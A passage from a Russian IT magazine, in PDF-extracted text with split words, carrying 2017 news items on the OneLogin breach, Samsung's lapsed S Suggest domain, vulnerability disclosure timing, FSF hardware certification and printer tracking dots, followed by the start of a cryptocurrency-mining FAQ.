зарабо тать  как  мож но  боль ше  денег,  тог да  как  сай там,  ува жающим  сво их
посети телей,  мож но  вооб ще  не  вол новать ся  о  встро енном  бло киров щике
Chrome.  При  этом  Рамас вами  под чер кнул,  что  Chrome  будет  бло киро вать
даже собс твен ную рек ламу Google, если та не соот ветс тву ет стан дартам.

ИНФОРМА ЦИЯ О НОВЫХ УЯЗ ВИМОС ТЯХ ПОЯВ ЛЯЕТ СЯ
В ДАР КНЕ ТЕ НА НЕДЕЛЮ РАНЬ ШЕ ОФИ ЦИАЛЬ НЫХ СООБ ‐
ЩЕНИЙ
Спе циалис ты  ком пании  Recorded  Future  решили  разоб рать ся,  как  в  Сети  рас простра няет ся
информа ция о новых уяз вимос тях и багах. Выяс нилось, что дан ные об угро зах сна чала появ‐ 
ляют ся  в  бло гах  иссле дова телей,  соци аль ных  сетях,  СМИ,  дар кне те,  на  paste‐сай тах  и  лишь
потом  попада ют  в  Наци ональ ную  базу  дан ных  уяз вимос тей  (National  Vulnerability  Database,
NVD), которой заведу ет Наци ональ ный инсти тут стан дартов и тех нологий США.

Ис сле дова тели изу чили 12 517 CVE, опуб ликован ных в NVD в 2016–2017 годы.
Ин форма ция о 75% уяз вимос тей была опуб ликова на в интерне те или в дар кне те рань ше,

чем попала в офи циаль ную базу.
В сред нем раз рыв меж ду рас кры тием дан ных о баге и попада нием информа ции в NVD сос‐ 

тавля ет 7 дней.
Око ло  25%  уяз вимос тей  «всплы вают»  в  сети  за  50  дней  до  офи циаль ных  сооб щений,

а еще 10% и вов се оста ются без вни мания спе циалис тов более 170 дней.

За дер жка меж ду появ лени ем дан ных об уяз вимос ти и попада нием этой информа ции
в NVD, по про изво дите лям

В  дар кне те  появ ляет ся  информа ция  о  каж дой  двад цатой  уяз вимос ти  (5%),  и  в  30%  слу чаев
сооб щения написа ны на отличных от англий ско го язы ках.

Бо лее 500 CVE, о которых в 2016 году сооб щалось в Сети, до сих пор ожи дают добав ления
в базу.

Продолжение статьи →

https://github.com/MAVProxyUser/P0VsRedHerring
https://xakep.ru/2017/05/25/openvpn-bug/
https://xakep.ru/2017/06/22/openvpn-bugs/
https://www.betterads.org/
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ONELOGIN СНОВА
ВЗЛОМАЛИ
В начале июня  , что популяр ный про вай дер решений для еди‐ 
ного вхо да OneLogin пос тра дал от серь езной ата ки. Неиз вес тные зло умыш‐ 
ленни ки  сумели  получить  неав торизо ван ный  дос туп  к  дата‐цен тру,  содер‐ 
жащему  дан ные  по  аме рикан ско му  реги ону.  И  хотя  ата кующие  поч ти  сра зу
были заб локиро ваны,  ком пания пре дуп режда ет,  что  хакеры  успе ли получить
дос туп  к  информа ции  поль зовате лей  и  теперь  име ют  воз можность  ее  рас‐ 
шифро вать.

ста ло извес тно

Пред ста вите ли  ком пании  пояс нили,  что  взлом щики  каким‐то  обра зом
сумели  дос тать  клю чи  от  AWS,  которы ми  и  вос поль зовались  для  дос тупа
к  AWS  API.  Пос ле  это го  ата кующим  ста ли  дос тупны  таб лицы  базы  дан ных,
в  которых  содер жалась  информа ция  о  поль зовате лях  при ложе ния,  а  так же
«раз личные типы клю чей». В резуль тате дан ные тысяч кли ентов OneLogin мог‐ 
ли быть ском про мети рова ны, вклю чая даже зашиф рован ные. Дело в том, что
ком пания  шиф ровала  пароли  и  содер жимое  Secure  Notes,  одна ко  дру гая
информа ция,  такая  как  име на  поль зовате лей  и  их  email‐адре са,  не  была
защище на вов се.

В  пись мах,  которые  были  нап равле ны  пос тра дав шим,  раз работ чики
рекомен довали им пред при нять ряд шагов, что бы обе зопа сить себя. К при‐ 
меру, нуж но сге нери ровать новые API‐клю чи и токены OAuth, а так же токены
для  Active  Directory  Connectors  и  LDAP  Directory  Connectors,  соз дать  новые
сер тифика ты  безопас ности  и  сме нить  все  учет ные  дан ные,  очис тить Secure
Notes и так далее.

Это не пер вая ата ка на OneLogin и не пер вый раз, ког да ком панию взла‐ 
мыва ют. К при меру, летом 2016 года хакеры   к дан ным
Secure  Notes,  где  поль зовате ли  хра нят  пароли,  клю чи  и  дру гую  кон фиден‐ 
циаль ную информа цию.

су мели получить дос туп

→   в  сред нем  сто ят  недоче ты  в  кибер защите  индус три аль ных  сис тем.  Ана лити ки
«Лабора тории Кас пер ско го» под счи тали, что за пос ледние 12 месяцев каж дая вто рая про мыш‐ 
ленная  ком пания  в  мире  пережи ла  от  одно го  до  пяти  киберин циден тов.  Они  зат ронули  кри‐ 
тичес ки важ ные инфраструк туры или авто мати зиро ван ные сис темы управле ния  тех нологи чес‐ 
кими про цес сами (АСУ ТП) на этих пред при ятиях. На устра нение пос ледс твий этих инци ден тов
каж дая ком пания пот ратила в сред нем 497 тысяч дол ларов США. При этом про веден ный иссле‐ 
дова теля ми  опрос  показал,  что  83%  рес понден тов  счи тают  себя  хорошо  под готов ленны ми
к тому, что в их про мыш ленных инфраструк турах может про изой ти какой‐либо инци дент.

$497  000 

КАК У SAMSUNG
УГНАЛИ ДОМЕН
Спе циалист  ком пании  Anubis  Labs  ,  что  ком пания  Samsung
по  какой‐то  при чине  не  прод лила  регис тра цию  домена  ssuggest.com,
который  кон тро лиру ет  работу  сто ково го  при ложе ния  S  Suggest,  уста нов‐ 
ленно го на мил лионах устрой ств.

об наружил

Хо тя еще в 2014 году ком пания Samsung фак тичес ки прек ратила исполь‐ 
зование S Suggest, при ложе ние по сей день про дол жает работать на мно жес‐ 
тве ста рых девай сов. S Suggest  пред лага ет поль зовате лям прос той вид жет,
с рекомен даци ями дру гих полез ных и инте рес ных при ложе ний.

Ког да иссле дова тель перех ватил кон троль над доменом, чья регис тра ция
истекла,  он  убе дил ся,  что  S  Suggest  по‐преж нему  широко  исполь зует ся.
За  пер вые  24  часа  вла дения  доменом  спе циалист  зафик сировал
более 620 мил лионов обра щений, пос тупив ших от 2,1 мил лиона устрой ств.

Ока залось, что S Suggest обла дает рядом очень опас ных прав, в час тнос‐ 
ти может уда лен но перезаг ружать устрой ство и уста нав ливать на него допол‐ 
нитель ные пакеты и при ложе ния. Если бы кон троль над доменом уда лось зах‐ 
ватить зло умыш ленни кам, они получи ли бы поч ти иде аль ную отправ ную точ ку
для внед рения бэк доров, спай вари и любых дру гих вре донос ных при ложе ний.

Впро чем,  пред ста вите ли  ком пании  Samsung  опро вер гли  обви нения
иссле дова теля и заяви ли, что кон троль над доменом не может исполь зовать‐ 
ся  для  уста нов ки  вре донос ных  при ложе ний  и  не  помог  бы  ата кующим  зах‐ 
ватить кон троль над устрой ства ми поль зовате лей.

Спе циалист  Anubis  Labs  про дол жает  нас таивать  на  сво ем,  и  с  ним  сог‐ 
ласны дру гие экспер ты. Так, незави симый ИБ‐спе циалист Бен Актис (Ben Ac‐
tis)  под твержда ет,  что  S  Suggest  «опре делен но  может  исполь зовать ся
для уста нов ки дру гих при ложе ний».

К счастью для поль зовате лей, на устрой ствах которых уста нов лен S Sug‐
gest,  вол новать ся  не  о  чем,  так  как  экспер ты  не  собира ются  делать  ничего
дур ного, а кон троль над доменом по‐преж нему находит ся в их руках. В Anubis
Labs  сооб щили,  что  охот но  вер нут  домен  ком пании  Samsung.  Спе циалис ты
выража ют надеж ду, что пос ле это го Samsung боль ше его не «потеря ет».

→  прек ращена под дер жка Android Market для Android 2.1 и ниже. Ни для
кого  не  сек рет,  что фраг мента ция  рын ка  Android‐устрой ств  огромна.  Так,  Android  вер сий  4.x
до сих пор исполь зует ся в 26% устрой ств. К счастью, хотя бы про цент устрой ств с Android 2.x
на  бор ту  активно  сни жает ся:  к  при меру,  вер сиями  2.3.3–2.3.7  опе раци онной  сис темы  поль‐ 
зуют ся менее 0,7% вла дель цев гад жетов. В свя зи с этим раз работ чики ком пании Google объ‐ 
яви ли, что 30 июня 2017 года была прек ращена под дер жка Android Market (ныне ему на сме ну
при шел Google Play) для Android 2.1 (Eclair) и ниже. В офи циаль ном бло ге раз работ чики отме‐ 
чают, что с момен та выхода Eclair прош ло уже семь лет, и боль шинс тво сов ремен ных при ложе‐ 
ний в любом слу чае не под держи вают нас толь ко ста рые вер сии ОС.

30 июня 2017 года

ЖЕЛЕЗО С
УВАЖЕНИЕМ
Еще в 2012 году осно ван ный Ричар дом Стол лма ном Фонд сво бод ного прог‐ 
рам мно го  обес печения  (Free Software  Foundation,  FSF)  начал  выдавать  сер‐ 
тифика ты  по  прог рамме  Respects  Your  Freedom  («Ува жает  твою  сво боду»).
Тре бова ния  этой  прог раммы  сер тифика ции  прос тира ются  гораз до  даль ше,
чем  тре бова ния  Open  Source  Hardware,  объ еди няющей  раз работ чиков
«откры тых» устрой ств.

Так, Open Source Hardware тре бует, что бы раз работ чики обес печили свои
устрой ства всей над лежащей докумен таци ей и опуб ликова ли схе мы в откры‐ 
том дос тупе. FSF, в свою оче редь,  тре бует пуб ликации всех исходных кодов
всех  драй веров,  про шивок  и  дру гого  ПО.  Про изво дите лям  обо рудо вания
рекомен дуют  выпус кать  его  спе цифи кации  под  сво бод ными  лицен зиями.
Если  устрой ство  под держи вает  «обре менен ные»  фор маты  (к  при меру,
запатен тован ный  MP3),  то  оно  дол жно  так же  под держи вать  и  ана логич ный
сво бод ный фор мат.  Любые  соф твер ные  патен ты  дол жны  быть  сво бод ными,
то  есть  не  зап рещать  сво бод ное  рас простра нение  ПО.  И  конеч но,  что бы
получить  сер тификат Respects Your  Freedom,  устрой ство не дол жно сле дить
за поль зовате лем каким‐либо обра зом. То есть никаких бэк доров, спай вари
и про чего нежела тель ного ПО.

При  столь  жес тких  тре бова ниях  прог раммы  сов сем  неуди витель но,  что
за  про шед шие  годы  ,  получив ших  сер тифика ты  Respects
Your  Freedom,  попол нился  мало.  Одна ко  в  кон це  июня  2017  года  пред ста‐ 
вите ли FSF сооб щили о вклю чении в спи сок сра зу пят надца ти новых девай‐ 
сов,  при над лежащих  румын ско му  стар тапу  Technoethical  (ранее  Tehnoetic).
Это фак тичес ки  удва ивает  количес тво  гад жетов,  име ющих  сер тифика ты Re‐
spects Your Freedom.

спи сок  устрой ств

«На дан ный момент все обо рудо вание в спис ке RYF выпуще но круп- 
ными  про изво дите лями,  оно  не  явля ется  обо рудо вани ем  со  сво бод- 
ными аппа рат ными спе цифи каци ями (Free-Design Hardware). RYF тре- 
бует  сов мести мос ти  с  пол ностью  сво бод ными  опе раци онны ми  сис- 
темами и воз можнос ти исполь зования обо рудо вания без проп риетар- 
ных  прог рам мных  бло бов.  Так,  в  дей стви тель нос ти  мно гие  незави- 
симые  про изво дите ли  обо рудо вания,  прод вига ющие  его  как  Open
Source,  не  ува жают  сво боду  поль зовате лей  с  точ ки  зре ния  прог рам- 
мно го обес печения  (и поэто му не соот ветс тву ют RYF). Хотя они пре- 
дос тавля ют сво бод ные спе цифи кации для плат, их обо рудо вание тре- 
бует вклю чения нес вобод ных бло бов в опе раци онную сис тему, а так- 
же иног да невоз можно изме нять сво бод ные фай лы PCB без исполь- 
зования  нес вобод ных  редак торов.  Важ но  отме тить,  что  боль шинс тво
про изво дите лей  сво бод ного  обо рудо вания  так же  не  пре дос тавля ют
сво бод ных  спе цифи каций  на  чипы,  толь ко  на  пла ты»,  —  рас ска зал
«Хакеру» пред ста витель Technoethical.

ПРИНТЕРЫ СЛЕДЯТ
ЗА ТОБОЙ
В  начале  июня  2017  года  в  рас поряже нии  СМИ  ока зал ся 

, в котором рас ска зыва лось о кибера таках на сис темы голосо вания
перед выбора ми пре зиден та США в 2016 году.

за сек речен ный
отчет АНБ

Прак тичес ки одновре мен но с тем, как изда ние The Intercept опуб ликова ло
дан ный документ, ста ло извес тно о задер жании 25‐лет ней Риали ти Лей Вин‐ 
нер  (Reality  Leigh Winner),  сот рудни цы  ком пании — под рядчи ка АНБ Pluribus
International Corporation. Жен щину обви нили в том, что имен но она переда ла
жур налис там сек ретные дан ные.

Как  писали  ИБ‐спе циалис ты,  источник  «утеч ки»  уда лось  обна ружить  так
быс тро потому, что Вин нер перес лала жур налис там копию рас печат ки отче та,
сде лан ную  на  лазер ном  прин тере.  Документ  содер жал  прак тичес ки  не  раз‐ 
личимые  нево ору жен ным  гла зом  «водяные  зна ки» —  пат терн  из  кро шеч ных
жел тых  точек,  которые  слу жат  уни каль ной  «под писью»  прин тера и  помога ют
уста новить, где, ког да и на каком устрой стве был рас печатан документ.

При  этом  о  проб леме жел тых  точек  извес тно  доволь но  дав но.  Так,  об  этом
ори гиналь ном спо собе слеж ки мно го лет назад   спе циалис ты
Фон да элек трон ных рубежей (Electronic Frontier Foundation). В отче те EFF под‐ 
робно опи сано, как имен но нуж но «читать» такой точеч ный рисунок, который
содер жит не толь ко вре мя и дату печати, но и серий ный номер устрой ства.

пре дуп режда ли

Пос ле  слу чив шегося  с  Риали ти  Лей  Вин нер  иссле дова тель  Габор  Сат мари
(Gabor  Szathmari)  решил  раз работать  метод  борь бы  с  жел тыми  точ ками,
изба вив докумен ты от скры тых «водяных зна ков». Со сво ей иде ей иссле дова‐ 
тель  уже    к  раз работ чикам  популяр ного  инс тру мен та  PDF  Redact
Tools,  цель  которо го  —  редак тирова ние  докумен тов  перед  пуб ликаци ей
и уда ление из них любых метадан ных.

об ратил ся

Сат мари пред ложил добавить в PDF Redact Tools код, который будет авто‐ 
мати чес ки кон верти ровать докумен ты в чер но‐белый фор мат, таким обра зом
«обез вре живая»  жел тые  точ ки.  В  ито ге  точ ки  ста новят ся  белыми  и  боль ше
не могут быть обна руже ны.

Ре зуль тат кон версии докумен та

При этом спе циалист пре дуп режда ет, что скры тые «водяные зна ки» — далеко
не единс твен ный при ем в арсе нале спец служб, а так же под черки вает, что его
методи ка  тоже  неидеаль на.  Дело  в  том,  что,  если  перед  ска ниро вани ем
бумаги скла дыва ли или помяли, эти уни каль ные приз наки так же могут помочь
влас тям отыс кать источник утеч ки (к при меру, если у подоз рева емо го най дут
ори гина лы  бумаг).  Веро ятно,  опти маль ным  решени ем  для  таких  слу чаев
будет пре обра зова ние отска ниро ван ного докумен та в тек сто вый фор мат.

https://xakep.ru/2017/06/08/onelogin-breach-2/
https://xakep.ru/2016/08/31/onelogin-compromised/
https://xakep.ru/2017/06/16/s-suggest/
http://www.fsf.org/resources/hw/endorsement/respects-your-freedom
https://theintercept.com/2017/06/05/top-secret-nsa-report-details-russian-hacking-effort-days-before-2016-election/
https://w2.eff.org/Privacy/printers/docucolor/#program
https://github.com/firstlookmedia/pdf-redact-tools/pull/23
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Сло во  «май нинг»  сей час  на  слу ху  даже
у  далеких  от  ИТ‐сфе ры  людей.  На  бир жах
отме чают ся  небыва лые  скач ки  обменных
кур сов  крип товалют,  а  их  сум марная
капита лиза ция  перева лила  в  июле
за 100 мил лиар дов дол ларов. Общий ажи‐ 
отаж  сти мули рует  вкла дывать ся  в  новое
нап равле ние, но эффекты от вло жений ока‐ 
зыва ются  очень  раз ными.  Одни  быс тро
получа ют сверх при быль, а дру гие столь же
стре митель но  разоря ются.  Этот  FAQ
повысит твои шан сы остать ся в плю се.

WARNING

Вся при веден ная в статье информа ция — лич ное
мне ние  авто ра.  Ситу ация  на  крип товалют ном
рын ке  пос тоян но  меня ется,  поэто му  единс твен‐ 
ный совет:  думай,  счи тай и пос тоян но  кор ректи‐ 
руй дол госроч ные прог нозы.

КАК СВЯЗАНЫ КРИПТОГРАФИЯ И ВАЛЮТЫ?
Крип товалю той  называ ют  вир туаль ные  день ги,  при  соз дании  (эмис сии)
и  перерас пре деле нии  которых  широко  исполь зуют ся  крип тогра фичес кие
фун кции и  про токо лы. В  час тнос ти,  при  генера ции бло ков дан ных  при меня‐ 
ются одна или  нес коль ко фун кций  хеширо вания,  а  для  соз дания  ано ним ных
адре сов (сче тов) и перево да монет — про токол шиф рования с откры тым клю‐ 
чом. Такой под ход наделя ет крип товалю ту прин ципи аль но новыми свой ства‐ 
ми, которых лишены тра дици онные (фиат ные) валюты и спе циали зиро ван ные
средс тва онлайн‐пла тежей, вро де WebMoney и «Яндекс.Денег».

КТО СОЗДАЕТ КРИПТОВАЛЮТУ?
Пря мо сей час ее соз дают все, кому не лень. Исходные коды лежат на GitHub,
а  боль шинс тво  аль ткой нов  похожи  друг  на  дру га  слов но  близ нецы  —  что
на уров не алго рит мов, что по дизай ну кошель ков. За боль шинс твом из таких
поделок  не  сто ит  ничего,  кро ме  узна ваемо го  име ни.  Нап ример,  есть  крип‐ 
товалю ты, наз ванные в честь Путина и Трам па.

Крип товалю та име ни В. В. Путина

ПОЧЕМУ ВСЕ БРОСИЛИСЬ МАЙНИТЬ КРИПТОВАЛЮТУ?
По яви лись информа цион ные сай ты о крип товалю тах и тысячи роликов на You‐
Tube. Они под робно рас ска зыва ют, как занять ся май нин гом, и понят ны даже
домохо зяй ке.  Были  соз даны  удоб ные  кошель ки  для  всех  популяр ных  ОС
и онлай новые хра нил ки крип товалют ных сбе реже ний, муль тивалют ные бир жи
и  пулы,  дос тупные  инвести цион ные  фон ды  (с  вло жени ями  от  0,001  BTC)
и прос тые в осво ении май неры.

Как  резуль тат,  за  пос ледний  год  рез ко  сни зил ся  порог  вхож дения.  Если
рань ше  для  успешно го  май нин га  тре бова лось  самому  искать  и  ана лизи‐ 
ровать прор ву информа ции, запус кать и нас тра ивать (а еще луч ше — писать)
кон соль ные  прог раммы и  скрип ты  в  Linux,  то  теперь  появи лись  при ложе ния
с  гра фичес ким  интерфей сом,  которые  поч ти  все  дела ют  сами.  Нес коль ко
таких прог рамм мы рас смот рим в отдель ной статье.

ПОЧЕМУ КРИПТОВАЛЮТЫ СТАЛИ ПОПУЛЯРНЫ ТОЛЬКО СЕЙЧАС?
Из началь но  крип товалю та  была  прос то  необыч ной  иде ей,  которая  прив‐ 
лекала гиков и тех нофилов аро матом хай‐тек‐анар хии. Сегод ня вир туаль ные
монет ки вдруг ока зались нуж ны широкой мас се людей. В основном потому,
что  теперь  за  них  пред лага ют  реаль ные  день ги,  товары  и  услу ги.  При чем
дела ют  это  не  толь ко  какие‐нибудь  захуда лые  кафеш ки  и  раз вле катель ные
сай ты,  но  и  круп ные  ком пании  уров ня Dell  и Microsoft — см.  врез ку  в  кон це
статьи.

За  восемь  с  лиш ним  лет,  про шед ших  с  появ ления  бит кой на,  инвесто ры
усмотре ли в нем и его ана логах кибер панков ский ремейк цен ных бумаг. Они
соз дали целую индус трию крип товалю ты, в которую вло жили мил лиар ды дол‐ 
ларов  в  надеж де  быс тро  получить  еще  боль ше.  В  2009  году  за  бит койн
не  давали  и  гро ша  (на  пер вых  тор гах  он  сто ил  0,00076  цен та),  а  сегод ня
за один BTC готовы пла тить две с полови ной тысячи дол ларов и даже боль ше.
Во вся ком слу чае, имен но такие обменные кур сы были на момент написа ния
этой статьи.

Ос таль ные  крип товалю ты  так же  к  началу  июля  это го  года  ста ли  рас ти
в цене — соот ветс твен но рос ту денеж ных вли ваний вырос и инте рес к ним.

ЛОВИ ВОЛНУ!
По дан ным двух круп ней ших ана лити чес ких агентств (IDC и Gartner), текущая
вол на  ажи ота жа  вок руг  крип товалю ты  зароди лась  в  треть ем  квар‐ 
тале  2016  года.  Тог да  было  отме чено  рез кое  уве личе ние  объ ема  про даж
виде окарт. Осо бен но при меча тель но, что оно воз никло на фоне спа да рын ка
пер сональ ных  компь юте ров.  Пос тавки  виде окарт  вырос ли  более  чем
на треть, а материн ских плат и про цес соров упа ли на 4–5%. Нап рашива ется
вывод:  в  боль шинс тве  кон фигура ций  исполь зовалось  нес коль ко  виде окарт,
что харак терно для «ферм».

«Фер мы», или риги (от англий ско го rig — уста нов ка), — это самодель ные
клас теры  с  боль шим  чис лом  виде окарт,  которые  исполь зуют ся  в  качес тве
уско рите лей  век торных  опе раций. Обыч но  это  сбор ки  из  раз нокали бер ного
железа  со  сла бым  про цес сором  (так  как  он мало  задей ство ван  в  рас четах)
и боль шим чис лом игро вых виде окарт. Их под клю чают к одной материн ской
пла те через удли ните ли — рай зеры сло тов PCI‐E и переход ники PCI‐E x1 —
x16.  Это  дешев ле,  чем  исполь зовать  топовые  пла ты фор мата  E‐ATX  с  кучей
пол ноцен ных  сло тов  и  про фес сиональ ные  уско рите ли.  Все  рав но  допол‐ 
нитель ные  фун кции  прод винутых  карт  мало  вос тре бова ны  в  май нин ге.
На  сэконом ленные  день ги  выгод нее  под клю чить  еще  одну  виде окар ту
или взять блок питания получ ше.

Сре ди  таких  уста новок  есть  совер шенно  шедев раль ные  —  ком пак тные,
тихие  и  энер гоэф фектив ные.  В  них  все  сде лано  с  запасом,  деталь но  про‐ 
дума на сис тема питания и водяно го охлажде ния, да и в целом они выг лядят
как  бло ки  супер компь юте ра.  Обыч но  такие  клас теры  собира ются  на  заказ
для  решения  каких‐то  серь езных  задач  в  сфе ре  биз неса,  про екти рова ния
или науч ных иссле дова ний, а май нин гом занима ются толь ко во вре мя прос‐ 
тоя.

Семь топовых виде окарт с общим водяным охлажде нием. Фото:
tomglimps.com

Боль шинс тво же типич ных ферм — самодел ки, соб ранные по прин ципу мак‐ 
сималь ной  эко номии.  Энер гоэф фектив ность,  элек тро маг нитная  сов мести‐ 
мость  ком понен тов,  ста биль ность работы,  тем пы изно са,  акус тичес кий  ком‐ 
форт — все это оста ется за гранью вос при ятия май нера, взяв шегося за стро‐ 
итель ство  фер мы.  Он  прос то  накупа ет  на  все  день ги  более‐менее  под‐ 
ходящее железо (час то быв шее в упот ребле нии и име ющее скры тые дефек‐ 
ты), а затем собира ет его на самодель ной раме, пос коль ку ни в один кор пус
оно не вле зет.

Ти пич ная самодель ная фер ма

Преж де чем при киды вать навар от работы подоб ной фер мы за месяц и тем
более за пол года, задумай ся о том, почему их так мно го про дают. Если прос‐ 
ледить динами ку цен на том же avito.ru, то заметишь, как быс тро они дешеве‐ 
ют. «Фер мер» охот но покажет, сколь ко аль ткой нов или дол ларов ежед невно
«при носит»  его  тво рение,  а  потом  поп робу ет  про дать  ее  тебе…  ну  хоть
за сколь ко‐нибудь.

ПОЧЕМУ ПРОДАЮТ ФЕРМЫ?
Ос новная при чина поваль ного увле чения фер мами и их пос леду ющей переп‐ 
родажи кро ется в баналь ном само обма не. Люди ленят ся счи тать совокуп ную
сто имость  вла дения,  огра ничи ваясь  при кид кой  сче та  за  элек тро энер гию
толь ко по TDP виде окарт. Реаль но же в май нин ге виде окар та час то пот ребля‐ 
ет  зна читель но  боль ше,  чем  ука зано  в  тре бова ниях  к  сис теме  охлажде ния.
Да  и  в  гра фе  «рас ходы»  дол жны  быть  отра жены  все  зат раты,  свя зан ные
с  май нин гом.  Это  пря мые  разовые  зат раты  (покуп ка,  дос тавка,  нас трой ка
обо рудо вания  и  ПО),  непос редс твен ные  регуляр ные  рас ходы  (опла та  элек‐ 
тро энер гии, интерне та, арен да помеще ния) и кос венные зат раты (изме нение
режима работы сплит‐сис темы, ухуд шение усло вий тру да из‐за шума и про‐ 
чее).

Ты еще спра шива ешь, кто рас купил видюхи?

При бег лом взгля де на онлайн‐каль кулятор доход ности его таб лицы боль ше
сби вают  с  тол ку,  чем  помога ют  оце нить  при быль ность. Дело  в  том,  что  они
отоб ража ют рас четы по сос тоянию крип товалют ных сетей на дан ный момент,
а  ситу ация  меня ется  пос тоян но.  При быль ность  май нин га  «пла вает»  вок руг
некото рого  сред него  зна чения  каж дую  минуту.  Нес коль ко  раз  в  день  она
может  сущес твен но  изме нить ся  —  нап ример,  на  некото рое  вре мя  упасть
ниже  порога  само оку паемос ти.  То  есть  баналь но  за  элек тро энер гию  в  эти
пери оды ты будешь пла тить боль ше, чем зарабо таешь на рас чете новых бло‐ 
ков.

Рас чет «при были» без уче та амор тизации и про чих зат рат

Обыч но алго рит мом май нин га заложе но пос тепен ное усложне ние,  так  как с
каж дым годом появ ляет ся все более быс трое и энер гоэф фектив ное железо.
Каж дые N бло ков ужес точа ются тре бова ния к хешам и пада ет хеш рейт. Одна‐ 
ко реаль ные тем пы рос та слож ности май нин га сущес твен но опе режа ют рас‐ 
четные.

Рост слож ности вычис лений Ethereum

На  вол не  оче ред ного  ажи ота жа  к  май нин гу  при соеди няет ся  все  боль ше
людей, да и сум марная мощ ность крип товалют ной сети в такие пери оды рас‐ 
тет быс трее, чем прог нозиро валось. Поэто му неиз бежно пада ет отно ситель‐ 
ная мощ ность каж дой фер мы и сни жает ся ее при быль ность.

КАК УСТРОЕН МАЙНИНГ?
Май нинг  —  это  генера ция  нового  бло ка  дан ных,  опи сыва юще го  дей ствия
с  крип товалю той и ссы лающе гося на пре дыду щий блок в цепоч ке  (блок чей‐ 
не). Про цесс  это  неп ростой,  пос коль ку  в  нем намерен но  заложен  кри терий
вычис литель ной слож ности. Имен но она и слу жит под твержде нием про делан‐ 
ной работы, за которую вып лачива ется воз награж дение.

В двух сло вах май нинг сво дит ся к под бору чис ла в слу жеб ном поле бло ка
.  Такому,  что бы  хеш  от  все го  бло ка  удов летво рял  текуще му  кри терию

слож ности  генера ции  новых  бло ков.  Нап ример,  что бы  он  начинал ся  с  трех
нулей  под ряд  (получит ся  что‐то  вро де 

).  В  алго рит ме  май нин га
каж дого  аль ткой на  есть  свои  детали  и  задей ство ваны  раз ные  фун кции
хеширо вания.
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Про цесс  называ ется  «май нинг»,  пос коль ку  напоми нает  работу  шах тера
в карь ере: в поис ках алма зов надо перело патить тон ны пус той породы.

КТО ТАКИЕ МАЙНЕРЫ?
Май нер —  это  и  человек,  занима ющий ся  май нин гом,  и  прог рамма,  выпол‐ 
няющая  алго ритм  май нин га.  Так же  май нерами  называ ют  спе циали зиро ван‐ 
ные  устрой ства,  нацелен ные  толь ко  на  одну  фун кцию  —  добывать  крип‐ 
товалю ту  по  какому‐то  опре делен ному  алго рит му.  Дела ют  они  это  быс трее
про цес соров обще го наз начения и ферм с виде окар тами при мень шем пот‐ 
ребле нии энер гии, а потому счи тают ся более выгод ными.

В ЧЕМ СМЫСЛ МАЙНИНГА?

бро сил май нер леша  
в фер му кир пичом 
по тому что смыс ла  
нет вооб ще ни в чем

Са ми вычис ления хешей никакой прак тичес кой поль зы не несут. Это прос то
перевод элек тро энер гии в теп ловую очень изощ ренным спо собом. Одна ко то
же самое мож но ска зать и про мно гие дру гие популяр ные занятия.

Единс твен ный эффект нуд ного перебо ра хешей сос тоит в том, что он слу‐ 
жит  защитой  от  фаль сифика ции.  Прос то  потому,  что  тре бует  выпол нения
ресур соем ких  опе раций.  Под делка  одно го  бло ка  уже  свя зана  с  замет ными
вре мен ными  зат ратами,  да  и  еди нич ный  сфаль сифици рован ный  блок  будет
отвер гнут  сетью  как  дефек тный.  У  дру гих  ведь  тоже  есть  копия  блок чей на
для про вер ки.

Фаль сифика ция  всей  цепоч ки  (или  ее  длин ной  вет ви),  в  которой  каж дый
пос леду ющий  блок  удос товеря ет  пре дыду щий,  и  вов се  слиш ком  слож ная
задача. Для ее выпол нения нуж ны либо колос саль ные вычис литель ные мощ‐ 
ности, либо навод нение рас пре делен ной сети фей ковыми хос тами (которые
при мут под дель ную цепоч ку вмес то истинной) чуть более чем наполо вину.

За  каж дый  вер но  сге нери рован ный  блок  его  май нер  получа ет  наг раду.
Обыч но на выручен ные день ги он покупа ет какое‐нибудь железо, что бы май‐ 
нить  быс трее.  Получа ется  самораз вива ющаяся  сис тема  (с  положи тель ной
обратной связью).

КАКИЕ БЫВАЮТ КРИПТОВАЛЮТЫ?
Сей час их боль ше тысячи, и у всех есть свои отли читель ные чер ты. Раз бирать
малые приз наки слиш ком уто митель но, поэто му мы сос редото чим ся на глав‐ 
ном:  алго рит мах  хеширо вания. Имен но они опре деля ют,  на  чем пред почти‐ 
тель нее май нить дан ную крип товалю ту и нас коль ко выгод но это будет в даль‐ 
нейшем.

По мимо отдель ных алго рит мов, в май нин ге час то при меня ются их наборы.
Нап ример,  DigiByte  (DGB)  исполь зует  сочета ние  хеш‐фун кций  SHA‐256,
Scrypt, Qubit, Skein и Groestl, а SaffronCoin (SFR) — SHA‐256, Scrypt, Groestl,
X11 и Blake.

ЗАЧЕМ НУЖНЫ РАЗНЫЕ АЛГОРИТМЫ ХЕШИРОВАНИЯ?
В  боль шинс тве  новых  крип товалют  исполь зуют ся  такие  алго рит мы  хеширо‐ 
вания и их сочета ния, которые пре пятс тву ют свер хбыстро му май нин гу. Одни
дела ют невыгод ным или даже невоз можным исполь зование аппа рат ных май‐ 
неров  на  интеграль ных  схе мах  спе циаль ного  наз начения  (ASIC,  или  прос то
«аси ки»). Дру гие  крип товалю ты име ют  так же  защиту от  «фер меров» и  прин‐ 
ципи аль но  май нят ся  без  GPU‐уско рения.  В  дру гих  аль ткой нах  заложе но
искусс твен ное  уста рева ние  виде окарт  по  приз наку  архи тек туры  ГП  или  по
объ ему встро енной памяти.

Нап ример, у Ethereum через каж дые 30 тысяч бло ков уве личи вает ся файл
дан ных (DAG), который дол жен раз мещать ся целиком в памяти каж дой виде‐ 
окар ты.  Есть  фор ки  май нера  ethminer,  которые  пыта ются  работать  с  фраг‐ 
менти рован ным  DAG,  но  ни  ско ростью,  ни  ста биль ностью  работы  они
не отли чают ся. Поэто му вла дель цы ферм с гигабай тны ми виде окар тами сра‐ 
зу выбыли из май нин га эфи ра, а в прош лом году к ним при соеди нились обла‐ 
дате ли двух гигабай тных. Такие фер мы ста ли спеш но про давать тем, кто пока
не разоб рался в деталях.

Все эти огра ничи тель ные меры при меня ются для того, что бы обла дате ли
обыч ных компь юте ров и нович ки не оста лись за бор том.

От чаян ных май неров — еди ницы, а их инте рес уга сает так же стре митель‐ 
но, как воз ника ет.

Без мас сы ста биль но активных узлов (соз дава емых прос тыми поль зовате‐ 
лями) емкость сети катас тро фичес ки упа дет. Тог да тран закции ста нут выпол‐ 
нять ся  сут ками,  и  от  такой  крип товалю ты  быс тро  отвернут ся.  Кон курен ция
в этой сфе ре исклю читель но острая.

НА ЧЕМ МАЙНЯТ?
